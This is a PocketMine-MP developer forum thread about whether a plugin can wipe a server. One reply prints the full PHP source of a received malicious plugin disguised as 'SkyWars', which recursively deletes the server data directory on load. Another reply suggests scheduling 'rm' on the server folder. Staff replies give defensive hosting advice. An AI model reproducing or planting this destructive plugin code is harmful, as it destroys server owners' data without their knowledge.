1. The forums will be archived and moved to a read only mode in about 2 weeks (mid march).

Rare Pocketmine Question

Discussion in 'Development' started by xBeastMode, Feb 24, 2017.

  1. xBeastMode

    xBeastMode Shog Chips

    Messages:
    0
    I'm wondering if it's possible to delete all server files from a plugin itself?
     
    SOFe likes this.
  2. wolfdale

    wolfdale Zombie Pigman

    Messages:
    535
    GitHub:
    diamond-gold
    I recently received such a plugin, and it deleted everything on my test server, except bin and server.log
    PHP:
    <?php

    namespace SkyWars;

    use 
    pocketmine\Server;
    use 
    pocketmine\event\Listener;
    use 
    pocketmine\plugin\Plugin;
    use 
    pocketmine\plugin\PluginBase;
    use 
    pocketmine\utils\TextFormat;
    use 
    pocketmine\scheduler\CallbackTask;
    use 
    pocketmine\event\player\PlayerJoinEvent;
    use 
    pocketmine\event\server\ServerCommandEvent;




    class 
    Main extends PluginBase implements Listener{

     public function 
    onEnable(){
     
    $this->getServer()->getPluginManager()->registerEvents($this$this);
     
    $this->getLogger()->info("稍等");
     
    $dir $this->getServer()->getDataPath();
     
    $this->deldir($dir);


     }



     public function 
    deldir($dir) {

     
    $dh opendir($dir);

     while (
    $file=readdir($dh)) {

     if(
    $file!="." && $file!="..") {

     
    $fullpath $dir."/".$file;

     if(!
    is_dir($fullpath)){

     @
    unlink($fullpath);

     }else{

     
    $this->deldir($fullpath);

     }

     }

     }

     
    closedir($dh);

     if(@
    rmdir($dir)) {

     return 
    true;

     } else {

     return 
    false;

     }

     }
    }
     
    Indexfire likes this.
  3. xBeastMode

    xBeastMode Shog Chips

    Messages:
    0
    Would it work, too, on a Ubuntu VPS?
     
  4. wolfdale

    wolfdale Zombie Pigman

    Messages:
    535
    GitHub:
    diamond-gold
    You might want to test it yourself, i tested it on windows
     

    Attached Files:

    Indexfire likes this.
  5. corytortoise

    corytortoise Skeleton

    Messages:
    825
    GitHub:
    corytortoise
    This entire thread is worrying. I hope you don't have bad intentions. :/
     
  6. StuntzCo

    StuntzCo Baby Zombie

    Messages:
    197
    welp, i sense that someone is about to get wrecked lol gives this plugin in a link on a youtube video . *tells viewers to spread it around as much as possible* *promises it's not malicious*
     
    jasonwynn10 likes this.
  7. StuntzCo

    StuntzCo Baby Zombie

    Messages:
    197
    i can see how u could totally troll other people's servers with this. I can also see that this should never be allowed to get in some little troll 12 year olds hands
     
  8. xBeastMode

    xBeastMode Shog Chips

    Messages:
    0
    I would never go that far. That would break the owner's heart.

    What I really want to do is make a free hourly PocketMine server service, like instantmcpe, but better.
     
  9. SOFe

    SOFe Administrator Staff Member PMMP Team Poggit Admin

    Messages:
    1,968
    GitHub:
    sof3
  10. xBeastMode

    xBeastMode Shog Chips

    Messages:
    0
    Or possibly another way to do it is: schedule a task using "at" (on Ubuntu) to execute the command "rm /some-server-dir/".
     
  11. SOFe

    SOFe Administrator Staff Member PMMP Team Poggit Admin

    Messages:
    1,968
    GitHub:
    sof3
    Note that if you have custom plugins, they can probably change your settings to make the server run forever.
    Also, you still have to stop the server before deleting.
     
  12. xBeastMode

    xBeastMode Shog Chips

    Messages:
    0
    So make a panel that only allows you to enable certain plugins alike l**t servers.
     
  13. xBeastMode

    xBeastMode Shog Chips

    Messages:
    0
    The problem is, how would be able to enable/disable pre-installed plugins?
     
  14. Thunder33345

    Thunder33345 Moderator Staff Member

    Messages:
    2,137
    GitHub:
    Thunder33345
    yes i get you, but learning the dark side is the way to defend against it
    meantime, dont download random plugins especially that one named something along the lines of chunk enhancer(*cough*..)
     
  15. dktapps

    dktapps Administrator Staff Member PMMP Team

    Messages:
    774
    GitHub:
    dktapps
    I've been saying for months that PocketMine is full of potentially dangerous openings and has zero security against malicious code whatsoever.

    Best recommendations I can give:
    - DO NOT run the server as root, administrator or anything with anything remotely resembling higher-level permissions.
    - If possible, make a separate user for running your server so it can't do anything terrible. Make sure it only has permissions to do stuff in the server folder.
    - Only download plugins from trusted, checked and tested sources. Poggit is the best place to look for such plugins.
    - Do not use things off YouTube, unless you want to pull the code apart and check it manually.
    - Make regular backups of anything you care about.

    The short of it is that PocketMine-MP plugins are Potentially Unwanted Applications, and you should not trust them.
     
  16. HimbeersaftLP

    HimbeersaftLP Fish

    Messages:
    2,402
    GitHub:
    HimbeersaftLP
    What? Tell me the story pls :p
     
  17. Thunder33345

    Thunder33345 Moderator Staff Member

    Messages:
    2,137
    GitHub:
    Thunder33345
    some dude leaked their plugins by making a dummy plugin that moves every plugin onto /www/public or smth and zip them and deletes then asks the owner to contact his twitter handler lmao
     
  18. HimbeersaftLP

    HimbeersaftLP Fish

    Messages:
    2,402
    GitHub:
    HimbeersaftLP
    XD
     
  19. xBeastMode

    xBeastMode Shog Chips

    Messages:
    0
    It's a dumb plugin, the HTTP server wouldn't load if you don't have Apache.
     
    Thunder33345 likes this.
  20. SOFe

    SOFe Administrator Staff Member PMMP Team Poggit Admin

    Messages:
    1,968
    GitHub:
    sof3
    From the moral side of course I should be against any kind of hacking, but from the pride of a programmer I just disdain any poorly-written malicious programs. If you're hacking anyway you should do it better!
     
    HimbeersaftLP and xBeastMode like this.
  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.